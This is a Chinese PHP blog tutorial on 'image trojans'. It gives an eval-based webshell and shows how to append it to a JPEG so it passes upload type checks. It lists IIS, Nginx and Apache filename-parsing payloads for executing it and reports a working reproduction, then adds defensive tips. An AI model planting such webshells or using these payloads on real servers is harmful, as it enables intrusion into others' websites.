天天看點

php 圖檔木馬,php圖檔木馬實作原理

什麼是木馬

木馬病毒是指隐藏在正常程式中的一段具有特殊功能的惡意代碼,是具備破壞和删除檔案、發送密碼、記錄鍵盤和攻擊Dos等特殊功能的後門程式。

那,php的木馬是長什麼樣的呢?我們來看下面這段代碼:<?php

@eval($_GET['tioncico']);

這句話的意思是什麼呢?隻要在網頁上擷取到了$_GET['tioncico']的資料,就當成php代碼直接執行,例如:

這個網頁内容,我們忽略問号前面的資料,可看到tioncico=echo tioncico;%20是urlencode編碼轉換

圖檔木馬原理

在本文中,講到的是圖檔木馬上傳,那麼該怎麼制作圖檔木馬呢?

我們首先要講到,php上傳檔案的原理:

1:使用者送出post請求,上傳檔案

2:伺服器接收請求,将檔案存儲到臨時檔案

3:php解析該臨時檔案,獲得檔案類型,檔案大小

4:php通過判斷檔案類型,進行移動臨時檔案到上傳目錄

5:php給前端傳回上傳成功,并傳回位址

在第3步,php是如果解析臨時檔案的呢?

其實,檔案對自身檔案内容,有着自己的檔案頭辨別,我們隻需要檔案轉為16進制,然後看各個檔案類型對檔案頭的定義,就可以知道檔案的類型了,例如,jpeg圖檔格式的檔案頭(2byte)辨別為:0xff, 0xd8,結尾(2byte)辨別為:0xff,0xd9

通過讀取檔案的位元組并轉為16進制,即可知道該檔案類型是什麼:function fileToHex($file){

if(file_exists($file)){

$data = file_get_contents($file);

return bin2hex($data);

}

return '';

}

echo fileToHex('F:\www\test\a\1.jpg.txt');

這個函數為簡單實作,複雜需求需要自行檢視:

輸出:

php 圖檔木馬,php圖檔木馬實作原理
php 圖檔木馬,php圖檔木馬實作原理

很明顯,這個圖檔格式為jpeg

php在底層中已經實作了對圖檔格式的識别,是以無需我們額外實作,關于檔案類型頭部的定義,可檢視:

那麼問題來了,如果我沒改變檔案頭,然後在最後新增一串php代碼,php是怎麼識别類型的呢?

我們可以嘗試下,在圖檔檔案後面,額外寫入一個php檔案:$path = 'F:\www\test\a\1.jpg.txt';

file_put_contents($path,file_get_contents('./a/1.php'),FILE_APPEND);//1.php是一個木馬檔案

直接通過txt形式打開,可看到新增的資料

php 圖檔木馬,php圖檔木馬實作原理

将1.jpg圖檔直接打開,可發現檔案沒有損壞:

php 圖檔木馬,php圖檔木馬實作原理

通過上傳檔案,發現php識别的也是jpeg:

php 圖檔木馬,php圖檔木馬實作原理

'

php解析木馬原理

大家看以下代碼,忽略php實作的東西,隻看結構:html>

Document上傳檔案:

if(@is_uploaded_file($_FILES['upfile']['tmp_name'])){

$upfile=$_FILES["upfile"];

//擷取數組裡面的值

$name=$upfile["name"];//上傳檔案的檔案名

$type=$upfile["type"];//上傳檔案的類型

$size=$upfile["size"];//上傳檔案的大小

$tmp_name=$upfile["tmp_name"];//上傳檔案的臨時存放路徑

//判斷是否為圖檔

switch($type){

case 'image/pjpeg':$okType=true;

break;

case 'image/jpeg':$okType=true;

break;

case 'image/gif':$okType=true;

break;

case 'image/png':$okType=true;

break;

}

if($okType){

$error=$upfile["error"];

echo "=======================

";

echo "上傳檔案名稱是:".$name."

";

echo "上傳檔案類型是:".$type."

";

echo "上傳檔案大小是:".$size."

";

echo "上傳後系統傳回的值是:".$error."

";

echo "上傳檔案的臨時存放路徑是:".$tmp_name."

";

echo "開始移動上傳檔案

";

//判斷up檔案夾是否存在,不存在則建立

$dir='up/';

if(!is_dir($dir)){

mkdir($dir);

}

//把上傳的臨時檔案移動到up目錄下面

move_uploaded_file($tmp_name,'up/'.$name);

$destination="up/".$name;

echo "=======================

";

echo "上傳資訊:

";

if($error==0){

echo "檔案上傳成功啦!";

echo "

圖檔預覽

";

 echo "

echo " alt=\"圖檔預覽:\r檔案名:".$destination."\r上傳時間:\">";

}else if($error==1){

echo "超過了檔案的大小,在php.ini檔案中設定";

}else if($error==2){

echo "超過了檔案的大小MAX_FILE_SIZE選項中設定";

}else if($error==3){

echo "檔案隻有部分被上傳";

}else if($error==4){

echo "檔案沒有被上傳";

}else{

echo "上傳檔案大小為0";

}

}else{

echo "請上傳jpg,gif,png等格式的圖檔";

}

}

?>

這代碼很平常,也就是php+html标簽的混合型代碼,php會解析<?php ?>标簽,進行擷取并執行php标簽内的代碼

現在将這份代碼換成圖檔+php标簽:

php 圖檔木馬,php圖檔木馬實作原理

改字尾為php看看能不能執行成功:

php 圖檔木馬,php圖檔木馬實作原理

很明顯,正常運作了,php将<?php标簽外的字元當成了正常字元輸出 ,隻運作了php的部分.

運作圖檔檔案

到現在,我們已經學會了如何給圖檔增加木馬檔案,并了解了圖檔木馬的實作原理,那麼,現在該如何在别人的網站執行這個木馬呢?給圖檔改字尾?很明顯我們辦不到,那該怎麼辦呢?

我們需要借助漏洞才能執行(這就意味着木馬并不是萬能的,可以入侵别人的全部網站)

漏洞方法如下

include 漏洞

隻要對方的php代碼中存在 include xxxx ,這個xxxx可以傳入外部參數的時候,

例如有些開發者自己實作的架構中,include controller 這個controller 有做全路徑引入的時候

web伺服器的pathinfo漏洞

IIS6.0 的解析漏洞 :1.jpg%00.php 1.asp;.jpg 1.asp/1.jpgIIS 7.0/IIS 7.5/ Nginx <8.03 畸形解析 1.jpg/.phpNginx <8.03 空位元組代碼執行漏洞 1.jpg%00.phpApache 解析漏洞 .php.一個無效字尾還有就是 Windows 下的各種截斷了,因為 win 環境下不允許一些符号命名檔案,是以可以造成截斷檔案名的效果,

例如本人使用phpstudy nginx/1.11.5+php7.2.10成功複現:

php 圖檔木馬,php圖檔木馬實作原理

講解一下,我網站中存在a/test.jpg,通過通路test.cn/a/test.jpg/1.php 被nginx成功解析a/test.jpg,并且被php排程執行成功,通過get傳的tioncico=echo%20%27仙士可牛逼!%27; 參數,在php中解析成功,輸出了 仙士可牛逼!

其他漏洞可以自測哦

漏洞防範

1:更新web伺服器版本,盡量使用新版本

2:圖檔最好是存入oss,或者圖檔上傳目錄注意不要給執行權限(web伺服器執行圖檔目錄的權限)

3:圖檔可以的話,可以進行二次處理,把木馬檔案過濾掉

4:永遠不要相信使用者的輸入

其他

剛剛的eval函數木馬檔案,是不是覺得很簡單,很容易識别?

并且,eval函數,可能還是被php禁用的危險函數.那麼我們可以用什麼呢?

另外提一嘴,既然是可以執行php檔案了,完全可以在圖檔檔案中,include 另一個圖檔檔案,等等

本文為仙士可原創文章,轉載無需和我聯系,但請注明來自仙士可部落格www.php20.cn